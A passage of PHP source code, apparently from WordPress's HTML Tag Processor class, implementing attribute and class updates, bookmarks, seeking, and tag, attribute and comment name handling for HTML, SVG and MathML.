		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
